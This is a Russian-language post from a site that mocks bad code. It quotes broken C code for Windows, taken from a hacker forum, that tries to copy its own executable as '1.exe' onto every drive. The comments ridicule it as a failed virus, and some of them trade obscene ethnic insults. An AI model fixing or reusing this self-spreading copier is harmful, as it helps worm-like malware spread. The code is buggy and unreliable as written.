1. C++ / Говнокод #2372

    +75

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    #include <windows.h> 
    #include <stdio.h> 
    
    int main(int argc, char* argv[]) 
    { 
    
    char FileName[1024]; 
    
    int i; 
    
    char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:", 
    "M:","N:","O:","P:","Q:","R:","S:","T:","U:"," V:", 
    "W:","X:","Y:","Z:"}; 
    
    
    for(i = 0;i < 24;i++) 
    
    Metka: 
    
    if (GetDriveType(drives) == DRIVE_NO_ROOT_DIR) 
    { 
    goto Metka; 
    } 
    else 
    { 
    GetModuleFileName (NULL,FileName,1024); 
    
    strcat(drives,"\\1.exe"); 
    
    CopyFile(FileName,drives,1); 
    
    } 
    
    Sleep(50); 
    goto Metka; 
    }

    На не без известном форуме ][akep крутой программист задал вопрос "Привет всем.Вот такой вопрос.Написав программу которая должна себя копировать на все диски каки нашла в системы, но она копируе себя тильки на диск "С:"", и приложил вот этот код.

    Запостил: psina-from-ua, 05 Января 2010

    Комментарии (44) RSS

    • «Кожен москаль вибирає Паскаль.
      А інші усі програмують на Сі!»
      Ответить
      • показать все, что скрытоПошел на хуй, салоед ебучий.
        Ответить
        • Не хочу разводить холивар, поэтому скажу просто - засунь язык в жопу!
          Ответить
          • Где мой мяяяячик??!! Убейте интернееет!!! У меня есть талант составлять словааааа!!!! Взорвать лаботатории и поизводству спайса, красного и жвачки!!!!! Мув твоё еакс!!! Карету мне, КАРЕТУ!!! КА!!! РЕ!!! ТУ!!!
            Ответить
          • Подключайтесь, с нами весело. Задорно.
            Ответить
          • В жопу ко мне. :p
            Я Сталивар из Новосибирска, если что.
            Ответить
          • А я суровый фрезеровщик из Челябинска. Понятно, что нужно сделать?
            Ответить
            • Эммм... Он вообще-то пассив по большей части...
              Ответить
        • Ой, ой, ой... От ми матюки знаємо. Просто Лєбєдєвщина якась...)))) Ну-ка... ішо якіта матюг скажи ))))
          Ответить
        • Мы все русские. Мы все один народ. Если ты этого не видишь, то сам пошёл на йух!!!
          Ответить
      • Каждый Москаль
        Выбирает Паскаль.
        А наши ушли
        Программировать на Си.
        Ответить
    • Я вижу ошибку в коде!!! Он еще не копирует на диски А: и В: !!!!!!!!
      Ответить
      • Ну конечно. Это очень полезно. Особенно на диск B: )))
        Ответить
    • и где здесь C++
      это просто си, причем говнохакер ниасилил работу со строками и циклами
      Ответить
      • Ты один к каждому посту пишешь "и где здесь c++".
        "-- Ты заканчиваешь все предложения глаголами. Лучше заканчивай заканчивать все предложения глаголами.
        -- А то что?
        -- А то представлю всё так, как будто это ты меня убил."(с)12 oz mouse
        Ответить
      • +1
        Ответить
      • ))))
        Ответить
    • Да это собстна даж не говнокод... просто чувак фбсолютно не понимает что к чему с циклами и поэтому написал нерабочую програму
      Ответить
      • Судя по всему его коснулось дурное влияние Бейсика
        Ответить
        • Нужно придумать новую психоклиническую болезнь. Например "Перенос моделей поведения прогаммиста Бейсика в другие языки". Или "Раздвоение Бейсика". Или "Порабощение мозга Бейсиком". "Бейсик головного мозга". "Воспаление отдела мозга, отвечающего за Бейсик". "Бейсик. Вселенское зло".
          Ответить
          • Не, просто автора бейсик покусал в детстве. Некоторых вот Емакс покусал.
            Ответить
            • Бейсик - Фу! Сидеть Бейсик! Голос!
              Ответить
            • Блокнот на руки наступил. А индусы вообще долго били.
              Ответить
        • Если писать на бейсике, да еще при этом использовать GoTo, то велик шанс быть погребенным под говнокодом.
          Ответить
    • goto такой goto...
      http://xkcd.com/292/
      Ответить
    • Да ладно вам, ну, первый курс, ну, новичок видимо. Поначалу и хуже бывает. Не удивлюсь, если он этот код откуда-нить содрал и попытался переписать под свои нужды. Или какие-нить друзья на форуме написали)
      Ответить
    • Унылое говно. :( -1
      Ответить
    • наверное, говновирус хотел написать, не разобравшись в программировании
      Ответить
    • пусть уж лучше такие говнопрограммеры и пишут говновирусы
      Ответить

    Добавить комментарий